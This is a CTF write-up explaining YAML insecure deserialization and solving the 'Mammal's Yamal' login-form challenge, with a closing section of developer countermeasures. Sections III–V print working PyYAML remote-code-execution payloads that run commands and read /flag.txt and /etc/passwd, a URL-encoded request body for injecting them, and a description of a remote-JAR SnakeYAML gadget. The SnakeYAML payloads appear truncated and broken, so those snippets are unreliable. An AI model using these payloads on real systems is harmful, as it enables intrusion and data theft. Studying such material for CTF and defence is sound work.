Mammal's Yamal: A Comprehensive Analysis and Exploit Guide for YAML Insecure Deserialization

I. Introduction: Deconstructing the "Mammal's Yamal" Challenge

Initial Reconnaissance and Hypothesis

An initial assessment of the "Mammal's Yamal" Capture The Flag (CTF) challenge reveals several critical clues that form the basis of a strong attack hypothesis. The challenge name itself is a deliberate play on words, combining "YAML" with "Yamal," a Russian peninsula famous for its preserved mammoth remains—a common naming trope in CTF challenges designed to hint at the core technology involved.[1] The explicit instruction, "try using yamal," coupled with a standard username and password login form, is a definitive indicator that the input fields are the intended vector for a YAML-based payload injection.[3]

This leads to the primary hypothesis: the application's backend receives the user-submitted credentials, attempts to parse them using a YAML library, and is consequently vulnerable to **Insecure Deserialization**. This attack vector is far more direct and probable than a multi-stage exploit involving complex logic flaws. The login form is not a barrier to be bypassed with correct credentials; it is a gateway for delivering a malicious payload directly to a vulnerable parser.[1]

Strategic Objectives

The strategic approach to this challenge diverges significantly from a typical

authentication bypass. The immediate goal is not to discover or brute-force valid credentials but to craft input that constitutes a valid, and malicious, YAML document. The primary attack vector is the exploitation of the YAML parser's ability to deserialize this document and, in doing so, instantiate arbitrary objects within the backend's programming environment. The ultimate objective is to leverage this capability to achieve Remote Code Execution (RCE), which will allow for the execution of arbitrary system commands to locate and read a "flag" file, the standard goal in CTF competitions. This file is commonly located in predictable locations such as /flag.txt or the web root.[2]

The Deceptive Simplicity of the Attack Surface

At first glance, the login form presents a conventional attack surface, suggesting strategies like SQL injection or credential stuffing. However, the "try using yamal" hint fundamentally alters the nature of the challenge. The focus shifts from manipulating the logic of an authentication query, as is common in SQL injection attacks [6], to subverting the data processing layer that handles the input

before any authentication logic is even attempted.

A successful YAML deserialization attack will likely achieve code execution the moment the parser processes the malicious input, long before the server attempts to validate the username and password against a database or user store. The login form is merely a delivery mechanism for a code execution payload. This distinction is critical to formulating an effective attack strategy. The vulnerability lies not in the application's authentication logic but in its unsafe handling of serialized data, a much deeper and more severe class of flaw.

II. The Anatomy of a YAML Injection Vulnerability

A Primer on YAML (YAML Ain't Markup Language)

YAML is a data serialization language prized for its human-readable syntax. First released in 2001, its design emphasizes clarity and simplicity, making it a popular choice for configuration files, data exchange between services, and infrastructure-as-code definitions.[8] Its name, a recursive acronym for "YAML Ain't Markup Language," underscores its purpose as a language for data representation rather than document markup.[9]

The syntax of YAML is minimalistic, relying on indentation to denote structure, a concept familiar to Python developers. Tab characters are strictly forbidden to ensure portability, with spaces used instead.[11] The core components of a YAML document are:

- **Mappings (Dictionaries/Hashes):** Unordered collections of key-value pairs, where each key is unique.[10]
- **Sequences (Lists/Arrays):** Ordered series of items, denoted by a hyphen and a space (-).[10]
- **Scalars:** Simple data types such as strings, numbers (integers, floats), and booleans.[10]

A pivotal aspect of YAML's design is that it is a strict superset of JSON (JavaScript Object Notation). This compatibility, finalized in YAML version 1.2, means any valid JSON document is also a valid YAML document.[12] To achieve this, YAML incorporated and extended many features, including the powerful—and dangerous—ability to represent complex, language-specific objects using tags. It is this feature that forms the root of the deserialization vulnerability.

The Mechanics of Serialization and Deserialization

To understand the vulnerability, one must first grasp the concepts of serialization and deserialization, which are fundamental to modern software architecture.

- **Serialization** is the process of converting a complex, in-memory data structure, such as an object with its fields and state, into a "flatter" format like a string or a sequential stream of bytes. This flattened representation can then be easily stored in a file or database, or transmitted across a network to another application or service.[14]
- **Deserialization** is the reverse process: taking this stream of data and

reconstructing it into a fully functional, live replica of the original object in the memory of the receiving application.[14]

This mechanism is the lifeblood of distributed systems, APIs, and microservices, allowing them to share complex data and maintain state across different processes or machines.[16]

The Critical Flaw: Insecure Deserialization (OWASP Top 10)

Insecure Deserialization is a critical vulnerability that arises when an application deserializes data from an untrusted source—such as user input from a web form—without sufficient validation.[14] The danger lies not in malformed data causing the parser to crash, but in a meticulously crafted, malicious payload that tricks the parser into performing unintended and harmful actions. This vulnerability was recognized as a significant threat, earning a spot in the OWASP Top 10 list of critical web application security risks.[16]

The attack is particularly insidious because it often occurs *during* the deserialization process itself. The malicious code is executed as the object is being reconstructed in memory, frequently before any of the application's own logic has a chance to inspect or validate the resulting object. This makes post-deserialization checks largely ineffective at preventing the initial attack.[15] This timing is key to understanding the potency of deserialization exploits.

Focus on YAML: From Data Format to RCE Vector

While YAML's human-readable syntax is its main appeal, its power and danger stem from a feature known as **tags**. These are directives within the YAML document that instruct the parser on how to interpret the data that follows. While many tags define standard types like !!str or !!int, the YAML specification also allows for language-specific tags that can instantiate arbitrary objects.[20]

For example:

- In Python's PyYAML library, the tag !!python/object/apply:os.system is not just a

string. It is an explicit instruction to the parser to find the os.system function within the application's environment and execute it.[21]
- In Java's SnakeYAML library, a tag like !!javax.script.ScriptEngineManager instructs the parser to create an instance of that specific Java class.[23]
- Ruby's Psych library has similar capabilities, allowing tags to instantiate native Ruby objects.[4]

When a vulnerable YAML parser encounters such a tag from an untrusted source, it dutifully follows the instruction, effectively turning a data-parsing operation into a code execution engine.

The "Insecure by Default" Paradigm

A recurring theme in the history of YAML library vulnerabilities is the "insecure by default" design choice. To be fully compliant with the YAML 1.1 specification, which included these powerful object instantiation features, library maintainers often made the unsafe, feature-complete parsing method the default or most convenient function to call (e.g., yaml.load() in Python, new Yaml() in Java).[24]

Secure alternatives, such as yaml.safe_load() in Python, were provided but were not made the default until much later, often after numerous high-profile vulnerabilities had been discovered and exploited.[27] This created an ecosystem where developers, prioritizing rapid development and functionality, would inadvertently introduce critical security holes into their applications simply by using the library's most straightforward API. This pattern highlights a systemic issue in software development, where security is not always the default posture, rather than a series of isolated bugs in individual libraries.

III. Strategic Exploitation: A Multi-Pronged Attack Plan

Given that the backend technology of the "Mammal's Yamal" challenge is unknown, a comprehensive attack plan must consider the most common web development stacks: Python, Java, and Ruby. The optimal strategy involves testing payloads for each,

starting with the most likely and simplest scenario.

A. The Python/PyYAML Scenario (Highly Likely)

Python is an extremely popular language for both web development and CTF challenges, making it the most probable backend for this scenario. The vulnerability would lie in the application's use of the PyYAML library.

Identifying the Vulnerable Function

The application is almost certainly using the yaml.load() function without specifying a secure Loader. In versions of PyYAML before 5.1, the default behavior of yaml.load() was inherently unsafe. With version 5.1, the default was changed to use FullLoader, but this loader was also later found to be vulnerable to RCE (e.g., CVE-2020-14343).[25] The only consistently safe method provided by the library for handling untrusted data is

yaml.safe_load().[30]

Crafting the RCE Payload

PyYAML exploits are particularly direct because they can invoke Python functions using the !!python/object/apply tag.

- **Payload for Simple Command Execution:** This payload can be used to run a command where the output is not needed.

```
!!python/object/apply:os.system ["command_to_run"]
```

For example, !!python/object/apply:os.system ["touch /tmp/pwned"] could be used to verify execution.21

- **Payload for Reading Command Output:** In a CTF context, it is often more useful to see the output of a command. The subprocess.check_output function is

perfect for this.

!!python/object/apply:subprocess.check_output [["command", "arg1"]]
```
This payload will execute the specified command and its arguments, and the standard output of that command will be returned by the function.2

- **Payload for Reading the Flag File:** To solve the challenge, a payload designed to read the contents of /flag.txt is required.

!!python/object/apply:subprocess.check_output [["cat", "/flag.txt"]]
```
When the YAML parser processes this payload, it will execute the cat /flag.txt command. The contents of the flag file will become the return value of the check_output function. This value will then likely be passed into the application's logic, causing a type error or being reflected in the server's response, thereby revealing the flag.

B. The Java/SnakeYAML Scenario

If the backend is Java, it is likely using the popular SnakeYAML library. Exploitation is more complex and typically requires the use of "gadget chains."

Identifying the Vulnerable Function

A vulnerable application would be using a version of SnakeYAML prior to 2.0 and instantiating the parser with its default, unsafe constructor: new Yaml() or new Yaml(new Constructor(...)). These defaults did not restrict the types of objects that could be deserialized.[24]

Understanding Gadget Chains

Unlike the direct function calls possible in Python, Java deserialization exploits typically rely on **gadget chains**. A gadget is a class or method that is already present in the application's environment (its "classpath"). A gadget chain is a carefully

constructed sequence of these legitimate gadgets that, when deserialized and instantiated in a specific order, triggers a harmful side effect, such as arbitrary code execution.[15] The attacker does not inject new code but rather re-purposes existing code for malicious ends.

Crafting the RCE Payload

One of the most well-known and public gadget chains for SnakeYAML involves the javax.script.ScriptEngineManager class. This gadget can be used to load a remote JAR file from an attacker-controlled server and execute code contained within it.

- **Payload for Remote JAR Loading:**

!!javax.script.ScriptEngineManager]
```
This payload instructs the SnakeYAML parser to create a URLClassLoader that loads a JAR from the specified URL, and then passes it to the ScriptEngineManager constructor. If the malicious.jar file contains a class that implements the ScriptEngineFactory interface, its code will be executed when the ScriptEngineManager instantiates it.23 To execute this attack, the attacker would need to compile a malicious Java class, package it into a JAR file, and host it on a web server.

## C. The Ruby/Psych Scenario

Ruby is another common language for web applications. Its standard library includes the Psych YAML parser.

### Identifying the Vulnerable Function

A vulnerable Ruby application would be using an unsafe method to parse user-controlled YAML. On older versions of Ruby/Psych, this is YAML.load(user_input). On newer versions, this method is safer by default, and the explicitly dangerous YAML.unsafe_load(user_input) would have to be used. The recommended safe
```

alternative has always been YAML.safe_load().[4]

Understanding Ruby Gadget Chains

Similar to Java, exploiting Ruby deserialization often involves chaining together gadgets available in the standard library. Universal gadget chains have been developed that work across most modern Ruby versions (2.x and 3.x) without requiring external dependencies like Rails.[4] These chains are complex but powerful.

Crafting the RCE Payload

Ruby deserialization exploits often work by triggering a specific method, such as hash, on a crafted object during the deserialization process when it's used as a key in a hash map.[36] The GitHub Security Lab has published a repository with pre-built gadget chains that can be adapted for this purpose. A common technique involves using the

zip command-line utility, which is present on most Linux systems, to execute arbitrary commands.

- Payload for RCE via zip gadget:
  The full payload is too verbose for a brief summary, but it would be constructed based on the research from the ruby-unsafe-deserialization repository.37 The payload would create a series of nested Ruby objects using YAML tags (---!ruby/object:ClassName). When deserialized by YAML.load or YAML.unsafe_load, this chain of objects would ultimately cause the application to execute a shell command, such as id or cat /flag.txt, via a call to the zip binary.

The Attacker's Strategic Progression

Faced with an unknown backend, an attacker cannot simply try all payloads simultaneously. The logical progression is to test for the most likely and simplest case first. Given its prevalence in web development and the directness of its exploit, the

Python/PyYAML scenario is the primary candidate. An attacker would begin by submitting a Python-based payload. If this results in a Python-specific error, success, or a telling lack of response, the hypothesis is confirmed. If it fails with a generic error or a message suggesting a different technology (e.g., a Java stack trace), the attacker would then proceed to the more complex Java or Ruby payloads. The server's response, even in failure, provides crucial intelligence about the underlying technology stack.

IV. Payload Delivery and Execution

Crafting the correct payload is only half the battle; it must be delivered to the vulnerable parser correctly. This involves overcoming the limitations of standard web forms and understanding the encoding requirements of the HTTP protocol.

The Login Form as the Injection Point

The username and password fields on the "Mammal's Yamal" login page serve as the entry points for the payload. It is highly probable that the server-side code takes the input from these fields and incorporates them into a larger data structure that is then processed. For example, the backend might construct a YAML string like username: <user_input>\npassword: <pass_input> before parsing. The attack involves injecting the entire malicious YAML payload into one of these fields, typically the username field.

Submitting a Multi-line Payload in a Single-line Field

A standard HTML <input type="text"> field does not natively support multi-line input. However, YAML payloads, especially for more complex gadget chains, are often multi-line. To transmit a multi-line structure through a single-line form field, the payload must be **URL-encoded** before submission.[38]

The process is as follows:

1. Write the complete, multi-line YAML payload with correct indentation.
2. In a text editor, replace all literal newline characters with the escape sequence \n. This collapses the payload into a single line of text.
3. Take this single-line string and URL-encode it. This process converts special characters into a format that can be safely transmitted within a URL or a form data body. For example, a space becomes %20, a newline (\n) becomes %0A, a colon (:) becomes %3A, and a literal percent sign (%) becomes %25.[38]

This final, URL-encoded string is the data that will be sent to the server. Failure to properly encode the payload will cause it to be misinterpreted by the browser and the server, leading to a failed attack.

Using a Web Proxy (Burp Suite / OWASP ZAP)

While it is possible to paste the encoded payload directly into the browser's form field, a more precise and reliable method is to use an intercepting web proxy, such as Burp Suite or OWASP ZAP. A proxy allows an attacker to capture and modify HTTP requests in transit.

The steps for using a proxy are:

1. Configure the web browser to route its traffic through the proxy tool.
2. In the browser, navigate to the login page and enter dummy data (e.g., username: "test", password: "test"). Click the submit button.
3. The proxy will intercept the outgoing HTTP POST request before it reaches the server.
4. In the proxy's interface, locate the body of the POST request. It will typically be in the format application/x-www-form-urlencoded, looking something like username=test&password=test.
5. Replace the value of the username parameter (i.e., "test") with the fully URL-encoded YAML payload crafted previously.
6. Forward the modified request from the proxy to the target server.
7. Examine the server's HTTP response in the proxy to look for the flag, error messages, or other indicators of successful code execution.

The Criticality of Proper Encoding

Many novice attackers fail at this stage by attempting to submit raw, unencoded payloads. The browser and web server will interpret the special characters and line breaks in the raw payload as formatting for the HTTP request itself, rather than as part of the data being submitted. This will corrupt the payload and cause the attack to fail. A deep understanding that all data submitted via an HTML form is subject to application/x-www-form-urlencoded encoding is a critical piece of practical knowledge. The theoretical understanding of the vulnerability must be paired with the practical understanding of its delivery mechanism. This is what distinguishes a successful exploit from a failed attempt.

V. The Solution: A Complete Walkthrough for "Mammal's Yamal"

This section provides a direct, step-by-step solution to the challenge, synthesizing the preceding analysis. The walkthrough will proceed under the assumption of a Python/PyYAML backend, as it represents the most probable scenario for a CTF of this design.

Step 1: Payload Selection and Crafting

The objective is to read the contents of the flag file, assumed to be at /flag.txt, and have those contents returned in the server's response. The subprocess.check_output method is the ideal tool for this task, as it executes a command and captures its standard output.

Final Python Payload:

YAML

```
!!python/object/apply:subprocess.check_output [["cat", "/flag.txt"]]
```

This payload is a complete YAML document. When parsed by a vulnerable version of PyYAML, it will instruct the interpreter to execute the subprocess.check_output function with the argument ["cat", "/flag.txt"]. The payload will be injected into the username field of the login form, while the password field can contain any arbitrary data or be left empty.

For reference, the following table summarizes potential RCE payloads for different common backends.

Table 1: YAML Deserialization RCE Payloads by Backend

Backend Language/Library	Payload Type	Full Payload Code
Python / PyYAML	**File Read**	!!python/object/apply:subprocess.check_output [["cat", "/etc/passwd"]]
Python / PyYAML	**Command Exec**	!!python/object/apply:os.system ["id"]
Java / SnakeYAML	**RCE (via Remote JAR)**	!!javax.script.ScriptEngineManager]]]
Ruby / Psych	**RCE (via Gadget Chain)**	A complex, multi-line payload constructed from known universal Ruby gadgets, often targeting the Kernel.open method via a chain of available classes.[37]

Step 2: Payload Encoding and Injection

The single-line YAML payload from Step 1 must be URL-encoded for submission through the web form.

URL-Encoded Payload:

%21%21python%2Fobject%2Fapply%3Asubprocess.check_output%20%5B%5B%22cat%22%2C%20%22%2Fflag.txt%22%5D%5D

Injection Process:

1. Using an intercepting proxy like Burp Suite, capture the POST request generated by submitting the login form with placeholder data.
2. The raw request body will appear similar to username=test&password=test.
3. Modify the request body by replacing the value of the username parameter with the URL-encoded payload. The final request body will be: username=%21%21python%2Fobject%2Fapply%3Asubprocess.check_output%20%5B%5B%22cat%22%2C%20%22%2Fflag.txt%22%5D%5D&password=anyvalue
4. Forward this modified request to the server.

Step 3: Capturing the Flag

Upon receiving the request, the server's backend will perform the following actions:

1. The web framework will URL-decode the POST body to extract the username and password parameters.
2. The value of the username parameter, now the raw YAML payload, will be passed to the vulnerable yaml.load() function.
3. The PyYAML parser will execute subprocess.check_output(["cat", "/flag.txt"]).
4. The content of the flag file is returned as the result of this function call.
5. The application code will then attempt to use this result—the flag string—in its subsequent logic, likely expecting a simple string for a username. This will almost certainly raise a TypeError or a similar exception because the application is not designed to handle the output of a shell command as a username.

In many web frameworks, especially when running in a debug mode common for CTF environments, the resulting error page will contain a full stack trace. This traceback is invaluable as it often includes the value of the variable that caused the error. Therefore, the flag's content will be printed directly within the HTTP response body of the 500 Internal Server Error page, completing the challenge.

VI. Recommendations and Countermeasures for Developers

The vulnerability exploited in this challenge is not merely a theoretical exercise; it represents a critical flaw found in real-world applications. Developers must adopt secure coding practices to prevent such attacks.

The Golden Rule: Never Deserialize Untrusted Data

The single most effective countermeasure is to adhere to a strict principle: never deserialize data that originates from an untrusted source.[14] Any data that comes from outside the application's immediate trust boundary—including user input, API requests from partners, or data retrieved from shared storage—must be considered untrusted. If the application must process complex data from an external source, it should use a data format that is inherently safe and does not support arbitrary object instantiation by default, such as JSON, and ensure the parsing library is configured securely.

The following table provides a clear guide to safe and unsafe deserialization functions in common languages.

Table 2: Unsafe vs. Safe Deserialization Functions

Language	Unsafe Function (Vulnerable)	Safe Alternative (Recommended)	Key Versions / Notes
Python	yaml.load(stream) yaml.full_load(stream)	yaml.safe_load(stream)	load is unsafe in all versions. full_load is unsafe before PyYAML 5.4. Always use safe_load for untrusted input.[27]
Java	new Yaml() new Yaml(new Constructor())	new Yaml(new SafeConstructor()) Use SnakeYAML Engine	The default constructor is unsafe in SnakeYAML versions prior to 2.0. Version 2.0 and later are safe by default.[24]

Ruby	YAML.load(string) YAML.unsafe_load(string)	YAML.safe_load(string)	load is unsafe in versions of the Psych library before 4.0.0. Always prefer safe_load for untrusted data.[4]

Implementing Additional Safeguards

Beyond using safe functions, a defense-in-depth strategy should include several other layers of protection:

- **Integrity Checks:** When serialization is necessary for internal data (e.g., storing session objects or passing data between trusted microservices), the serialized data should be protected with a cryptographic signature, such as an HMAC. The signature must be verified *before* any deserialization attempt occurs to ensure the data has not been tampered with in transit or at rest.[14]
- **Use Secure-by-Default Libraries and Keep Them Updated:** Whenever possible, choose libraries and frameworks that prioritize security in their default configurations. Furthermore, dependencies must be scanned regularly and updated promptly to patch known vulnerabilities.[14] The SnakeYAML 2.0 release is a prime example of a library moving to a secure-by-default model in response to discovered vulnerabilities.[24]
- **Principle of Least Privilege:** Application processes should be run with the minimum set of permissions required to function. In the event of a successful RCE attack, this can significantly limit the attacker's ability to access sensitive files or pivot to other systems on the network.[16]
- **Input Validation and Sanitization:** While it cannot prevent a deserialization attack on its own, validating all input against a strict, allowlist-based schema before it reaches the parser can serve as a first line of defense. This can reject obviously malformed or malicious requests early in the processing pipeline.[14]

The Developer's Responsibility

Ultimately, the research into YAML deserialization vulnerabilities reveals a crucial

lesson: the flaw is often not a "bug" in the traditional sense, but a powerful "feature" being used in an insecure context.[25] The ability to serialize and deserialize arbitrary objects is a feature of the YAML 1.1 specification. The responsibility, therefore, lies with the application developer to understand the security implications of the libraries and tools they choose. A library that can execute arbitrary code is a powerful instrument; like any such instrument, it demands careful and informed handling. This CTF challenge serves as a perfect, albeit simulated, demonstration of the severe consequences of failing to apply that care. The solution is not merely technical—using

safe_load—but also cultural: fostering a deep and persistent awareness of security principles among all software developers.

Works cited

1. CTFtime.org / The Cyber Cooperative CTF / valid yaml / Writeup, accessed July 19, 2025, https://ctftime.org/writeup/38847
2. [CTF Writeup] HuntressCTF 2024 Writeups | by zzzmilky - Medium, accessed July 19, 2025, https://medium.com/@zzzmilky/huntressctf-2024-writeups-caa2cfc006c2
3. SnakeYaml Deserilization exploited | by Swapneil Kumar Dash - Medium, accessed July 19, 2025, https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
4. Finding YAML Deserialization with Snyk Code, accessed July 19, 2025, https://snyk.io/blog/finding-yaml-injection-with-snyk-code/
5. Remote Code Execution (RCE) - Invicti, accessed July 19, 2025, https://www.invicti.com/learn/remote-code-execution-rce/
6. Basics - Web - SQL-injection - CTF - Capture the flag, accessed July 19, 2025, https://vm-thijs.ewi.utwente.nl/ctf/sql
7. Using SQL Injection to Bypass Authentication - PortSwigger, accessed July 19, 2025, https://portswigger.net/support/using-sql-injection-to-bypass-authentication
8. en.wikipedia.org, accessed July 19, 2025, https://en.wikipedia.org/wiki/YAML
9. What Is YAML? | IBM, accessed July 19, 2025, https://www.ibm.com/think/topics/yaml
10. YAML Tutorial : A Complete Language Guide with Examples - Spacelift, accessed July 19, 2025, https://spacelift.io/blog/yaml
11. What is YAML? - Red Hat, accessed July 19, 2025, https://www.redhat.com/en/topics/automation/what-is-yaml
12. What is YAML? A beginner's guide - CircleCI, accessed July 19, 2025, https://circleci.com/blog/what-is-yaml-a-beginner-s-guide/
13. YAML: The Missing Battery in Python - Real Python, accessed July 19, 2025, https://realpython.com/python-yaml/
14. Insecure Deserialization | Tutorials & Examples - Snyk Learn, accessed July 19,

2025, https://learn.snyk.io/lesson/insecure-deserialization/
15. Insecure deserialization | Web Security Academy - PortSwigger, accessed July 19, 2025, https://portswigger.net/web-security/deserialization
16. Insecure Deserialization in Web Applications - Invicti, accessed July 19, 2025, https://www.invicti.com/blog/web-security/insecure-deserialization-in-web-applications/
17. Now You Serial, Now You Don't — Systematically Hunting for Deserialization Exploits, accessed July 19, 2025, https://cloud.google.com/blog/topics/threat-intelligence/hunting-deserialization-exploits
18. Prevent insecure deserialization attacks - Veracode Docs, accessed July 19, 2025, https://docs.veracode.com/r/insecure-deserialization
19. Insecure Deserialization - | Cobalt, accessed July 19, 2025, https://docs.cobalt.io/bestpractices/insecure-deserialization/
20. YAML | Practical CTF, accessed July 19, 2025, https://book.jorianwoltjer.com/languages/yaml
21. Insecure Deserialiation, Examples - 245CT - GitHub, accessed July 19, 2025, https://github.coventry.ac.uk/pages/CUEH/245CT/8_Includes/Deserial_Examples/
22. YAML Deserialization Vulnerability via Job Submission in apache/arrow - huntr - The world's first bug bounty platform for AI/ML, accessed July 19, 2025, https://huntr.com/bounties/e3b908b3-8a6a-4b8f-8f97-28bf8d4be1ee
23. artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads, accessed July 19, 2025, https://github.com/artsploit/yaml-payload
24. Resolving CVE-2022-1471 with the SnakeYAML 2.0 Release | Veracode, accessed July 19, 2025, https://www.veracode.com/blog/resolving-cve-2022-1471-snakeyaml-20-release-0/
25. load() and FullLoader still vulnerable to fairly trivial RCE · Issue #420 · yaml/pyyaml - GitHub, accessed July 19, 2025, https://github.com/yaml/pyyaml/issues/420
26. Unsafe deserialization vulnerability in SnakeYaml (CVE-2022-1471) - Snyk, accessed July 19, 2025, https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471/
27. Fully loaded: testing vulnerable PyYAML versions - Semgrep, accessed July 19, 2025, https://semgrep.dev/blog/2022/testing-vulnerable-pyyaml-versions/
28. SnakeYaml 2.0: Solving the unsafe deserialization vulnerability - foojay, accessed July 19, 2025, https://foojay.io/today/snakeyaml-2-0-solving-the-unsafe-deserialization-vulnerability/
29. CVE-2020-14343 - Red Hat Customer Portal, accessed July 19, 2025, https://access.redhat.com/security/cve/cve-2020-14343
30. avoid deserializing untrusted YAML - Datadog Docs, accessed July 19, 2025, https://docs.datadoghq.com/security/code_security/static_analysis/static_analysis_rules/python-security/yaml-load/
31. Avoid dangerous file parsing and object serialization libraries - OpenStack Security, accessed July 19, 2025,

https://security.openstack.org/guidelines/dg_avoid-dangerous-input-parsing-libraries.html
32. Unsafe YAML deserialization in LoadSettingsFile allows arbitrary ..., accessed July 19, 2025, https://github.com/iterative/PyDrive2/security/advisories/GHSA-v5f6-hjmf-9mc5
33. SnakeYaml: Constructor Deserialization Remote Code Execution · Advisory - GitHub, accessed July 19, 2025, https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2
34. CVE-2022-1471, SnakeYaml Constructor Deserialization Remote Code Execution, accessed July 19, 2025, https://www.endorlabs.com/vulnerability/cve-2022-1471
35. Deserialization of user-controlled data — CodeQL query help documentation - GitHub, accessed July 19, 2025, https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
36. Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects - The GitHub Blog, accessed July 19, 2025, https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/
37. GitHubSecurityLab/ruby-unsafe-deserialization: Proof of ... - GitHub, accessed July 19, 2025, https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
38. URL Encoding of "payload" - Online, accessed July 19, 2025, https://www.urlencoder.org/enc/payload/
39. Should I URL-encode POST data? - Stack Overflow, accessed July 19, 2025, https://stackoverflow.com/questions/6603928/should-i-url-encode-post-data
40. Report #1807214 - The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML | HackerOne, accessed July 19, 2025, https://hackerone.com/reports/1807214